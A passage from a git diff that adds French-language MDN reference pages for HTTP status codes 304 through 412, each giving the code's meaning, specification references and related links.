{{HTTPHeader("Date")}}, {{HTTPHeader("ETag")}}, {{HTTPHeader("Expires")}}, et {{HTTPHeader("Vary")}}.</p> + +<div class="note"> +<p><strong>Note :</strong> Dans les navigateurs, <a href="/fr/docs/Outils/Moniteur_réseau">les outils de développement réseau</a> créent des requêtes supplémentaires qui conduisent à des réponses <code>304</code>. Ainsi l'accès au cache local est visible par les développeurs .</p> +</div> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">304 Not Modified</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7232", "304 Not Modified" , "4.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http/status", "304")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("If-Modified-Since")}}</li> + <li>{{HTTPHeader("If-None-Match")}}</li> +</ul> diff --git a/files/fr/web/http/status/307/index.html b/files/fr/web/http/status/307/index.html new file mode 100644 index 0000000000..2916207c87 --- /dev/null +++ b/files/fr/web/http/status/307/index.html @@ -0,0 +1,50 @@ +--- +title: 307 Temporary Redirect +slug: Web/HTTP/Status/307 +tags: + - Code de statut + - HTTP + - Reference +translation_of: Web/HTTP/Status/307 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse de redirection <code><strong>307</strong></code><strong><code> Temporary Redirect</code></strong> indique que la ressource est temporairement déplacée vers l'URL contenue dans l'en-tête {{HTTPHeader("Location")}}. Un navigateur redirige vers cette page mais les moteurs de recherche ne mettent pas à jour leurs liens vers la ressource (en termes de référencement, cela indique que le flux de référencement n'est pas envoyé vers la nouvelle URL).</p> + +<p>La méthode et le corps de la requête original sont réutilisés pour réaliser la requête redirigée. Si vous souhaitez que la méthode utilisée soit changée {{HTTPMethod("GET")}}, il faut alors utiliser le code {{HTTPStatus("303")}} <code>See Also</code> à la place. Ceci s'avère utile lorsqu'on souhaite donner une réponse à une méthode {{HTTPMethod("PUT")}} et que cette réponse n'est pas la ressource téléversée mais un message de confirmation (par exemple "Vous avez téléversé avec succès XYZ").</p> + +<p>La seule différence entre le code <code>307</code> et le code {{HTTPStatus("302")}} réside dans le fait que le statut <code>307</code> garantit que la méthode et le corps ne seront pas modifiés lorsque la requête redirigée aura lieu. Avec <code>302</code>, quelques anciens clients changent, incorrectement, la méthode vers {{HTTPMethod("GET")}} : ce comportement, avec les méthodes différentes de <code>GET</code> et <code>302</code>, est imprédictible sur le Web. En revanche; celui de <code>307</code> est bien prédictible. Pour la requête <code>GET</code>, leurs comportements respectifs sont identiques.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">307 Temporary Redirect +</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "307 Temporary Redirect" , "6.4.7")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http/status", "307")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPStatus("302")}} <code>Found</code>, l'équivalent de ce code de statut, mais qui peut modifier la méthode utilisée lorsqu'il ne s'agit pas d'un {{HTTPMethod("GET")}}.</li> + <li>{{HTTPStatus("303")}} <code>See Also</code>, une redirection temporaire qui change la méthode utilisée en {{HTTPMethod("GET")}}.</li> + <li>{{HTTPStatus("301")}} <code>Moved Permanently</code>, la redirection permanente</li> +</ul> diff --git a/files/fr/web/http/status/308/index.html b/files/fr/web/http/status/308/index.html new file mode 100644 index 0000000000..3212a62a7c --- /dev/null +++ b/files/fr/web/http/status/308/index.html @@ -0,0 +1,50 @@ +--- +title: 308 Permanent Redirect +slug: Web/HTTP/Status/308 +tags: + - Code de statut + - HTTP + - Reference +translation_of: Web/HTTP/Status/308 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse de redirection <code><strong>308</strong></code><strong><code> Permanent Redirect</code></strong> indique que la ressource demandée à définitivement été déplacée vers l'URL contenue dans l'en-tête {{HTTPHeader("Location")}}. Un navigateur redirigera vers cette page et les moteurs de recherche mettront à jour leurs liens vers la ressource (en termes de référencement, cela implique que le flux de référencement est envoyé vers la nouvelle URL).</p> + +<p>La méthode de requête et son corps ne sont pas modifiés, toutefois {{HTTPStatus("301")}} peut parfois changer la méthode vers {{HTTPHeader("GET")}}.</p> + +<div class="note"> +<p><strong>Note :</strong> Certaines applications Web peuvent utiliser <code>308 Permanent Redirect</code> de façon non standard et pour d'autres usages. Par exemple, Google Drive utilise la réponse <code>308 Resume Incomplete</code> pour indiquer au client un chargement incomplet qui est bloqué.<sup><a href="https://developers.google.com/drive/v3/web/manage-uploads#resumable">[1]</a></sup></p> +</div> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">308 Permanent Redirect</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7538", "308 Permanent Redirect" , "3")}}</td> + <td>The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http/status", "308")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPStatus("301")}} <code>Moved Permanently</code></li> + <li>{{HTTPStatus("302")}} <code>Found</code>, la redirection temporaire</li> +</ul> diff --git a/files/fr/web/http/status/400/index.html b/files/fr/web/http/status/400/index.html new file mode 100644 index 0000000000..01961cfffc --- /dev/null +++ b/files/fr/web/http/status/400/index.html @@ -0,0 +1,32 @@ +--- +title: 400 Bad Request +slug: Web/HTTP/Status/400 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/400 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse HTTP <code><strong>400</strong></code><strong><code> Bad Request</code></strong> indique que le serveur ne peut pas comprendre la requête en raison d'une syntaxe invalide. Le client ne devrait pas répéter la requête sans modification.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">400 Bad Request </pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "400 Bad Request" , "6.5.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> diff --git a/files/fr/web/http/status/401/index.html b/files/fr/web/http/status/401/index.html new file mode 100644 index 0000000000..311f6c0754 --- /dev/null +++ b/files/fr/web/http/status/401/index.html @@ -0,0 +1,59 @@ +--- +title: 401 Unauthorized +slug: Web/HTTP/Status/401 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/401 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse HTTP <strong><code>401 Unauthorized</code></strong> indique que la requête n'a pas été effectuée car il manque des informations d'authentification valides pour la ressource visée.</p> + +<p>Ce statut est envoyé avec un en-tête {{HTTPHeader("WWW-Authenticate")}} qui décrit la méthode pour s'authentifier correctement.</p> + +<p>Ce statut est similaire à {{HTTPStatus("403")}} mais, dans ce cas, une authentification est possible.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">401 Unauthorized</pre> + +<h2 id="Exemple_de_réponse">Exemple de réponse</h2> + +<pre>HTTP/1.1 401 Unauthorized +Date: Wed, 21 Oct 2015 07:28:00 GMT +WWW-Authenticate: Basic realm="Access to staging site"</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7235", "401 Unauthorized" , "3.1")}}</td> + <td>HTTP/1.1: Authentication</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http/status", "401")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/fr/docs/Web/HTTP/Authentication">La gestion de l'authentification en HTTP</a></li> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> +</ul> diff --git a/files/fr/web/http/status/402/index.html b/files/fr/web/http/status/402/index.html new file mode 100644 index 0000000000..a7efcdf583 --- /dev/null +++ b/files/fr/web/http/status/402/index.html @@ -0,0 +1,49 @@ +--- +title: 402 Payment Required +slug: Web/HTTP/Status/402 +translation_of: Web/HTTP/Status/402 +--- +<p>{{SeeCompatTable}}</p> + +<p>Le code de statut de réponse HTTP <strong style=""><code>402 Payment Required</code></strong> est une erreur non standard <span style="">réservée pour un usage futur.</span></p> + +<p><span style="">En général ce code indique que la requete ne peut pas etre traitée avant que le client fasse un paiement. Initialement il a été créé afin de permettre des (micro) paiements numériques et indiquerait que le contenu demandé n'est pas disponible avant que le client ne fasse un paiement. Cependant, aucune convention d'usage commune n'existe et différentes entités l'utilisent dans différents contextes.</span></p> + +<h2 id="Statut">Statut</h2> + +<pre>402 Payment Required</pre> + +<h2 id="Exemple_de_réponse">Exemple de réponse</h2> + +<pre>HTTP/1.1 402 Payment Required +Date: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "402 Payment Required" , "6.5.2")}}</td> + <td>HTTP/1.1: Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<div class="hidden"> +<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> +</div> + +<p>{{Compat("http.status.402")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li> +</ul> diff --git a/files/fr/web/http/status/403/index.html b/files/fr/web/http/status/403/index.html new file mode 100644 index 0000000000..c9ea24ec41 --- /dev/null +++ b/files/fr/web/http/status/403/index.html @@ -0,0 +1,52 @@ +--- +title: 403 Forbidden +slug: Web/HTTP/Status/403 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/403 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut d'erreur de réponse HTTP <strong><code>403 Forbidden</code></strong> indique qu'un serveur comprend la requête mais refuse de l'autoriser.</p> + +<p>Ce statut est similaire au statut {{HTTPStatus("401")}}, mais dans ce cas, la ré-authentification ne changera rien. L'accès est définitivement interdit et est lié à la logique de l'application, par exemple manque d'une permission d'accès à une ressource.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox notranslate">403 Forbidden</pre> + +<h2 id="Exemple_de_réponse">Exemple de réponse</h2> + +<pre class="notranslate">HTTP/1.1 403 Forbidden +Date: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "403 Forbidden" , "6.5.3")}}</td> + <td>HTTP/1.1: Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http/status", "403")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPStatus("401")}}</li> +</ul> diff --git a/files/fr/web/http/status/404/index.html b/files/fr/web/http/status/404/index.html new file mode 100644 index 0000000000..676ddaef9d --- /dev/null +++ b/files/fr/web/http/status/404/index.html @@ -0,0 +1,61 @@ +--- +title: 404 Not Found +slug: Web/HTTP/Status/404 +tags: + - Code de statut + - Erreur client + - HTTP + - Référence(2) +translation_of: Web/HTTP/Status/404 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse HTTP <code><strong>404</strong></code><strong><code> Not Found</code></strong> indique qu'un serveur ne peut pas trouver la ressource demandée. Cette réponse est probablement la plus connue du fait de sa fréquence d'apparition sur le Web. Les liens qui entraînent cette erreur sont souvent appelés liens morts ou brisés et conduisent à un <a href="https://fr.wikipedia.org/wiki/Lien_rompu">lien rompu</a>.</p> + +<p>Un code de statut 404 n'indique pas si cette absence est temporaire ou permanente. Si le serveur sait que cette condition est permanente, il faudra alors utiliser un code {{HTTPStatus(410)}} (Gone) à la place.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">404 Not Found</pre> + +<h2 id="Pages_d'erreur_personnalisées">Pages d'erreur personnalisées</h2> + +<p>De nombreux sites Web personnalisent le style de la page 404 afin que celle-ci soit plus utile pour l'utilisateur et fournisse une certaine aide. Les serveurs Apache peuvent par exemple être configurés en utilisant un fichier <code>.htaccess</code> contenant un fragment de code tel que celui-ci :</p> + +<pre>ErrorDocument 404 /notfound.html</pre> + +<p>Vous pouvez aussi vous inspirer de <a href="/fr/404">la page 404 de MDN</a>.</p> + +<div class="note"> +<p><strong>Note :</strong> le style des pages 404 est <a href="https://www.google.fr/search?q=awesome+404+pages">une source d'inspiration infinie</a>, mais sachez qu'il existe également un <a href="https://alistapart.com/article/perfect404">ensemble de meilleurs pratiques</a> pour que cette page particulière soit utile pour les utilisateurs.</p> +</div> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "404 Not Found" , "6.5.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http/status", "404")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPStatus(410)}}</li> + <li> + <p>{{interwiki("wikipedia", "HTTP_404", "Wikipedia: HTTP 404")}}</p> + </li> +</ul> diff --git a/files/fr/web/http/status/405/index.html b/files/fr/web/http/status/405/index.html new file mode 100644 index 0000000000..819656237b --- /dev/null +++ b/files/fr/web/http/status/405/index.html @@ -0,0 +1,40 @@ +--- +title: 405 Method Not Allowed +slug: Web/HTTP/Status/405 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/405 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse HTTP <code><strong>405</strong></code><strong><code> Method Not Allowed</code></strong> indique que la méthode utilisée pour la requête est connue du serveur mais qu'elle n'est pas supportée par la ressource ciblée. </p> + +<p class="newpage">Le serveur doit générer un champ <strong><code>Allow</code></strong> dans le header en cas de réponse 405, contenant la liste des méthodes supportées par la ressource ciblée.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">405 Method Not Allowed</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "405 Method Not Allowed" , "6.5.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Allow")}}</li> +</ul> diff --git a/files/fr/web/http/status/406/index.html b/files/fr/web/http/status/406/index.html new file mode 100644 index 0000000000..4f3a74f987 --- /dev/null +++ b/files/fr/web/http/status/406/index.html @@ -0,0 +1,49 @@ +--- +title: 406 Not Acceptable +slug: Web/HTTP/Status/406 +tags: + - Code de statut + - HTTP + - Reference +translation_of: Web/HTTP/Status/406 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse d'erreur HTTP <code><strong>406</strong></code><strong><code> Not Acceptable</code></strong> indique qu'il est impossible de servir une réponse qui satisfait aux critères définis dans les en-têtes {{HTTPHeader("Accept-Charset")}} et {{HTTPHeader("Accept-Language")}}.</p> + +<p>En réalité, cette erreur est très rarement utilisée. Plutôt que de répondre avec ce code, incompréhensible de l'utilisateur (et difficile à résoudre), les serveurs ignorent les en-têtes en question et renvoient une page à l'utilisateur. On part du principe que, même si l'utilisateur ne sera pas complètement satisfait, ce scénario est préférable à un code d'erreur.</p> + +<p>Si un serveur renvoie ce code d'erreur, le corps du message doit contenir la liste des représentations disponibles pour cette ressource afin de pouvoir choisir manuellement parmi celles-ci.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">406 Not Acceptable</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "406 Not Acceptable" , "6.5.6")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http/status", "406")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Accept-Language")}}</li> + <li>{{HTTPHeader("Accept-Charset")}}</li> + <li><a href="/fr/docs/Web/HTTP/Content_negotiation">Négociation du contenu en HTTP</a></li> +</ul> diff --git a/files/fr/web/http/status/407/index.html b/files/fr/web/http/status/407/index.html new file mode 100644 index 0000000000..1950146072 --- /dev/null +++ b/files/fr/web/http/status/407/index.html @@ -0,0 +1,57 @@ +--- +title: 407 Proxy Authentication Required +slug: Web/HTTP/Status/407 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/407 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse d'erreur HTTP <strong><code>407 Proxy Authentication Required </code></strong> indique que la requête n'a pas été appliquée à cause d'un manque d'authentification pour un {{Glossary("proxy")}} situé entre le navigateur et le serveur qui peut accéder à la ressource demandée.</p> + +<p>Ce code de statut est envoyé avec l'en-tête {{HTTPHeader("Proxy-Authenticate")}} qui contient les informations décrivant la façon de s'authentifier correctement.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">407 Proxy Authentication Required </pre> + +<h2 id="Exemple_de_réponse">Exemple de réponse</h2> + +<pre>HTTP/1.1 407 Proxy Authentication Required +Date: Wed, 21 Oct 2015 07:28:00 GMT +Proxy-Authenticate: Basic realm="Access to internal site"</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7235", "407 Proxy Authentication Required" , "3.2")}}</td> + <td>HTTP/1.1: Authentication</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http/status", "407")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li><a href="/fr/docs/Web/HTTP/Authentication">La gestion de l'authentification en HTTP</a></li> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}</li> +</ul> diff --git a/files/fr/web/http/status/408/index.html b/files/fr/web/http/status/408/index.html new file mode 100644 index 0000000000..5ff604f4fd --- /dev/null +++ b/files/fr/web/http/status/408/index.html @@ -0,0 +1,43 @@ +--- +title: 408 Request Timeout +slug: Web/HTTP/Status/408 +tags: + - Code de statut + - Erreur client + - HTTP + - Référence(2) +translation_of: Web/HTTP/Status/408 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse HTTP <code><strong>408</strong></code><strong><code> Request Timeout</code></strong> indique que le serveur souhaiterait clôturer cette connexion inutilisée. Pour certains serveurs, ce code est parfois envoyé sur une connexion inactive sans qu'il y ait nécessairement eu de requête de la part du client.</p> + +<p>Un serveur doit envoyer l'en-tête {{HTTPHeader("Connection")}} avec la valeur <code>"close"</code> en réponse, puisque 408 implique que le serveur a décidé de fermer la connexion plutôt que de continuer à attendre.</p> + +<p>Cette réponse est plus utilisée depuis que certains navigateurs, comme Chrome, Firefox 27+ ou IE9, utilisent le mécanisme HTTP de pré-connexion qui permet d'accélérer la navigation. On notera également que certains serveurs ferment purement et simplement la connexion, sans renvoyer ce message.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">408 Request Timeout</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "408 Request Timeout" , "6.5.7")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Connection")}}</li> + <li>{{HTTPHeader("X-DNS-Prefetch-Control")}}</li> +</ul> diff --git a/files/fr/web/http/status/409/index.html b/files/fr/web/http/status/409/index.html new file mode 100644 index 0000000000..650af5bc3c --- /dev/null +++ b/files/fr/web/http/status/409/index.html @@ -0,0 +1,40 @@ +--- +title: 409 Conflict +slug: Web/HTTP/Status/409 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/409 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de statut de réponse <code><strong>409 Conflict</strong></code> indique que la requête entre en conflit avec l'état actuel du serveur.</p> + +<p>Les conflits se produisent généralement en réponse à une requête {{HTTPMethod("PUT")}}. Par exemple, vous pouvez obtenir une réponse 409 lorsque vous téléversez un fichier qui est plus vieux que celui déjà présent sur le serveur, ce qui entraine un conflit de contrôle de version.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">409 Conflict</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "409 Conflict" , "6.5.8")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPMethod("PUT")}}</li> +</ul> diff --git a/files/fr/web/http/status/410/index.html b/files/fr/web/http/status/410/index.html new file mode 100644 index 0000000000..d90d57cfa7 --- /dev/null +++ b/files/fr/web/http/status/410/index.html @@ -0,0 +1,52 @@ +--- +title: 410 Gone +slug: Web/HTTP/Status/410 +tags: + - Code de statut + - Erreur client + - HTTP + - Référence(2) +translation_of: Web/HTTP/Status/410 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse d'erreur HyperText Transfer Protocol (HTTP) <code><strong>410</strong></code><strong><code> Gone</code></strong> est une erreur client qui indique que l'accès à la ressource visée n'est plus disponible sur le serveur d'origine et que cet état est susceptible d'être définitif.</p> + +<p>Si vous ne savez pas si cette absence est temporaire ou permanente, il est préférable de renvoyer un code de statut {{HTTPStatus(404)}}.</p> + +<div class="note"> +<p><strong>Note :</strong> Par défaut, une réponse 410 peut être mise en cache.</p> +</div> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">410 Gone</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "410 Gone" , "6.5.9")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> + +<p>L'information ci-dessous provient du GitHub de MDN (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> + +<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer aux données, vous pouvez <em>forker</em> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyer une <em>pull request</em>.</p> + +<p>{{Compat("http.status.410")}}</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPStatus(404)}}</li> +</ul> diff --git a/files/fr/web/http/status/411/index.html b/files/fr/web/http/status/411/index.html new file mode 100644 index 0000000000..f260e8bf8c --- /dev/null +++ b/files/fr/web/http/status/411/index.html @@ -0,0 +1,41 @@ +--- +title: 411 Length Required +slug: Web/HTTP/Status/411 +tags: + - Code de statut + - Erreur client + - HTTP + - Reference +translation_of: Web/HTTP/Status/411 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse d'erreur HTTP <code><strong>411</strong></code><strong><code> Length Required</code></strong> indique que le serveur refuse d'accepter la requête si celle-ci ne contient pas d'en-tête {{HTTPHeader("Content-Length")}}.</p> + +<p>On notera que, selon la spécification, lors de l'envoi de données en plusieurs fragments, l'en-tête <code>Content-Length</code> est absent et il est nécessaire d'ajouter la longueur du fragment courant au format hexadécimal. Pour plus de détails, se référer à la page sur l'en-tête {{HTTPHeader("Transfer-Encoding")}}.</p> + +<h2 id="Statut">Statut</h2> + +<pre class="syntaxbox">411 Length Required</pre> + +<h2 id="Spécifications">Spécifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Spécification</th> + <th scope="col">Titre</th> + </tr> + <tr> + <td>{{RFC("7231", "411 Length Required" , "6.5.10")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("Content-Length")}}</li> + <li>{{HTTPHeader("Transfer-Encoding")}}</li> +</ul> diff --git a/files/fr/web/http/status/412/index.html b/files/fr/web/http/status/412/index.html new file mode 100644 index 0000000000..02207829b0 --- /dev/null +++ b/files/fr/web/http/status/412/index.html @@ -0,0 +1,47 @@ +--- +title: 412 Precondition Failed +slug: Web/HTTP/Status/412 +tags: + - Code de statut + - Erreur + - HTTP + - Reference +translation_of: Web/HTTP/Status/412 +--- +<div>{{HTTPSidebar}}</div> + +<p>Le code de réponse d'erreur HTTP <code><strong>412</strong></code><strong><code> Precondition Failed</code></strong> indique que l'accès à la ressource visée a été refusé. Cela arrive avec les requêtes conditionnelles lorsque les méthodes utilisées ne sont pas {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}} et que la condition définie par les en-têtes {{HTTPHeader("If-Unmodified-Since")}} ou {{HTTPHeader("If-None-Match")}} n'est pas respectée. Dans ce cas, la requête, généralement un téléversement ou une modification d'une ressource, ne peut être appliquée et ce code de réponse d'erreur est renvoyé.</p> + 